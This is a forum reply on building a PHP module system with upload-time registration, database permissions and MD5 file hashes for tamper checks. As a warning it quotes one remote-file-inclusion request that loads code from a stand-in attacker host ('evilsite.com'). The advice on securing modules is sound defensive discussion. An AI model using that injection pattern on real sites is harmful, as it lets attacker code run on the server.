So are you saying that you want to simply upload a php class (module) into a folder that just shows up in a menu somewhere (maybe for an admin account) and then let's you divvy out permissions for it's use? For example, you just uploaded adduser.class.php into your modules/plugin folder. When you browse your modules admin page, you see a new option: adduser. When you give permission to a given user to use that module, he or she has "adduser" appearing in his or her menu. Now, he or she can click on that link and whatever is in that module runs automatically without you having done anything other than uploading the file and setting permissions?
If the scenario above is correct, wilku gave you a very good clue on how to implement this. To reiterate and expand on some of his ideas...
your index page never really redirects (in a conventional browser way.) Instead, the menu of allowed actions is generated from querying your modules table joining your permissions tables. How the menu is generated can be accomplished actively or passively.
Actively, by you using a form to upload the file under your admin account. This is advantageous because you specify the moment the module gets added to the system. I like the idea of making a file hash as suggested by wilku. In other words, at this point you can issue:
$hash = md5(file_get_contents($_FILES['userfile']['tmp_name']));
Which will render a hash you can store in the database to validate files as you dynamically load them for security reasons. In other words, if somebody modifies your modules, you can throw an error because the present module hash will no longer match the hash value recorded in your database. Also, this would help you avoid a common security vulnerability where a malicious user does a "module.php?a=http://evilsite.com/hack.php" on you taking advantage of allow_url_fopen being turned on. This, in turn, lets the malicious user run any code of his or her choosing on your system (not good!)
Passively, you could scan the module directory each time a user loads the menu (index.php) page. I guess the difference is if you want the convenience with the overhead of scanning each time, or you want to just store the modules in the database one time with the inconvenience of having to add it via a Web form. Since, you have to manually setup the permissions anyway (I would think), I think the latter is not really much of an inconvenience.
Yet, another way is to run a cron job that uses a bash script or even a PHP file ran from the command prompt to scan the directory and update the database. You could run it every 30 minutes or so. Of course this would force you to wait until the job runs to be able to setup permissions for the newly added module(s).
As far as how the modules work, I think wilku's plugin approach is a great idea (pending the security implementations.)
Good luck